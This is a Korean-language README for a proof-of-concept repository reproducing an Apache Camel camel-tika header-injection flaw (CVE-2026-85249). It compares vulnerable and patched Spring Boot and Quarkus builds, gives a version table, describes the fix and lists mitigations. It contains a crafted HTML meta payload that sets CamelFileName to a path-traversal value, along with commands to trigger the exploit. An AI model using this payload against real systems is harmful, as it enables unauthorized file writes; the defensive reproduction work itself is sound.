
CVE-2026-85249에 대한 실행 가능한 Spring Boot 및 Quarkus 재현 프로그램으로, 취약한 버전과 수정된 버전의 대조를 통해 camel-tika 메타데이터 헤더가 CamelFileName에 주입되는 것을 보여줍니다.
CamelFileName을 설정함)Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현 프로그램으로, Tika 프로듀서가 제출된 문서에서 파싱된 모든 메타데이터 키를 필터링 없이 Exchange의 헤더로 매핑하는 문제입니다. 문서 메타데이터는 공격자가 제어하는 콘텐츠입니다. 즉, 파일을 제공하는 측이 파일에 포함될 메타데이터 키를 선택합니다. 따라서 조작된 문서는 라우트의 나머지 부분이 의존하는 Exchange 헤더를 설정할 수 있으며, 다운스트림 컴포넌트가 콘텐츠가 기록될 위치를 결정하는 데 사용하는 CamelFileName과 같은 Camel 네임스페이스 헤더를 포함합니다. 이는 컨슈머 권고 사항과 동일한 헤더 주입 클래스에 속하며, 여기서는 프로토콜 헤더가 아닌 파싱된 파일 콘텐츠를 통해 도달합니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-tika 4.22.0 (영향받음; 4.22.1에서 수정됨) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-tika (Camel 4.22.0, 영향받음; 수정된 대조군 CQ 3.40.0 / Camel 4.22.1) |
두 모듈 모두 영향받는 동작 및 수정된 동작을 보여줍니다.
공격자는 HTML 문서를 제출합니다. HTML <meta name="..."> 속성은 Tika의 메타데이터에 그대로 전달되므로, 문서가 헤더 이름을 선택합니다:
<meta name="CamelFileName" content="ATTACKER-SET-../../pwned.txt"/>
<meta name="author" content="legitimate-metadata"/>
경로는 단순히 from(...).to("tika:parse")입니다. 파싱 후 Exchange 헤더가 검사됩니다.
CamelFileName(Exchange.FILE_NAME)이 문서에서 공격자가 지정한 값으로 설정됩니다. 다운스트림
파일 프로듀서는 해당 공격자 선택 값을 사용하여 콘텐츠가 기록될 위치를 결정하게 됩니다.CamelFileName이 필터링되어(문서에서 설정되지 않음) 제외되는 반면, author와 같은 일반 메타데이터는
여전히 매핑됩니다 — 필터는 Camel 내부 네임스페이스만 차단합니다.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: document sets CamelFileName; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85249-tika-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): document sets CamelFileName
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-tika (TikaProducer.convertMetadataToHeaders) |
| CWE | CWE-20 (부적절한 입력 검증) |
| 심각도 | MEDIUM |
| 공격 벡터 | 파싱된 메타데이터가 Camel 내부 헤더 이름을 선언하는 제출된 문서 (예: HTML <meta name="CamelFileName">을 통해) |
| 영향 | 헤더 주입: 문서가 라우트가 의존하는 Exchange 헤더를 설정하며, 예를 들어 CamelFileName은 다운스트림 구성 요소가 콘텐츠를 쓰는 위치를 결정함 |
| 영향받는 버전 | 4.0.0부터 4.18.5 이전, 4.19.0부터 4.22.1 이전 |
| 수정된 버전 | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24423 |
| 크레딧 | Claude Security Scan Tool |
권고: https://camel.apache.org/security/CVE-2026-85249.html
TikaProducer.convertMetadataToHeaders는 이제 각 파싱된 메타데이터 이름을 Exchange에 매핑하기 전에 HeaderFilterStrategy(inFilterStartsWith("Camel", "camel", "org.apache.camel.")로 구성되며 대소문자를 구분하지 않음)를 통해 필터링합니다. 이는 소비자가 외부 발신자가 제공한 이름을 필터링하는 것과 동일한 방식이므로, 문서가 Camel 내부 네임스페이스에 속하는 메타데이터 이름을 선언할 수 없습니다. 해당 네임스페이스 외부의 메타데이터는 여전히 매핑됩니다.
Tika 프로듀서 이후, 해당 헤더에 따라 동작하는 구성 요소 이전에 removeHeaders("Camel*")를 사용하여 Camel 네임스페이스를 제거하십시오.
이 저장소는 교육 및 방어 목적으로 게시됩니다: Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드가 문제를 해결하는지 검증할 수 있도록 돕기 위함입니다. 제작된 문서와 주입된 파일 이름은 비활성 로컬 픽스처입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.